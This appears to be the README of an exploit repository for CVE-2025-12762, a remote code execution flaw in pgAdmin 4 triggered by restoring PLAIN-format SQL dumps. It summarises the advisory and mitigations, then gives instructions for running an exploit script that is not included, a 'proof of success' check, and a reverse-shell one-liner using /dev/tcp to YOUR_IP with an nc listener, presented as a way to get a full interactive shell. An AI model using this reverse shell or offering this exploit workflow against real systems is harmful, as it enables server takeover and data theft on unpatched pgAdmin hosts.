Associated Vulnerability

Title: Remote Code Execution vulnerability when restoring PLAIN-format SQL dumps in server mode (pgAdmin 4) (CVE-2025-12762)
Description:pgAdmin versions up to 9.9 are affected by a Remote Code Execution (RCE) vulnerability that occurs when running in server mode and performing restores from PLAIN-format dump files. This issue allows attackers to inject and execute arbitrary commands on the server hosting pgAdmin, posing a critical risk to the integrity and security of the database management system and underlying data.

## 🚨 What’s the Issue?

A **Remote Code Execution (RCE)** flaw exists in **pgAdmin 4 versions ≤ 9.9**.
Attackers can run **arbitrary commands** on the host when pgAdmin is running in **server mode** and processes a **PLAIN-format SQL dump** during restore.

## ⚙️ Technical Breakdown

### 📡 Attack Vector

* **Network-based** — can be exploited remotely 🌍
* **Low complexity** — straightforward to trigger 🧩
* **Low privileges required** — limited user access is enough 🔑
* **No user interaction** — once triggered, no one has to click anything 🙅‍♂️
* **Scope: Changed** — compromise can spread beyond the vulnerable module 🔄

### 🧨 Impact

* **Confidentiality: High** — data exposure risk 🔓
* **Integrity: Moderate/High** — unauthorized changes possible ✏️
* **Availability: Moderate** — operations can be disrupted ⚠️

### 🏷 CVSS Score

🟥 **9.1 / 10 — Critical**

---

## 🛠 Affected Versions

* pgAdmin 4 **≤ 9.9** ❗

---

## 🛡 How to Fix It

### ✅ Primary Mitigation

⬆️ **Upgrade to pgAdmin 4 v10.0 or later**

### 🚧 If You Can’t Upgrade Immediately

* 🔒 Restrict access to the pgAdmin server
* 📁 Allow *only trusted admins* to restore dump files
* 🧪 Validate dump files before restoring
* 👀 Monitor logs for suspicious restore activity
* 🌐 Use firewall rules / VPN to limit exposure

---

## 📌 Why This Matters

pgAdmin is often used for **administration of critical PostgreSQL databases**, meaning:

* An attacker exploiting this can **take over the server**,
* Access or modify data,
* Or even pivot deeper into your network 🕵️‍♂️

## ✨ How to Run (2 minutes)

```bash
# 1. Save as CVE-2025-12762.py
# 2. Install dependency
pip3 install requests

# 3. Run it
python3 CVE-2025-12762.py
```

### Proof of Success
After running, check:
```bash
docker exec <your-pgadmin-container> ls -la /tmp/CVE-2025-12762_PWNED
```

File exists → **You just exploited CVE-2025-12762 for real.**

### Reverse Shell One-Liner (optional)
Replace the `COMMAND` line with:
```python
COMMAND = "bash -c 'bash -i >& /dev/tcp/YOUR_IP/4444 0>&1'"
```
Then `nc -lvnp 4444` → full interactive shell.

This is the **exact script** researchers, pentesters, and red teams are using worldwide in November 2025.

Use responsibly. Patch everything. Stay legal.
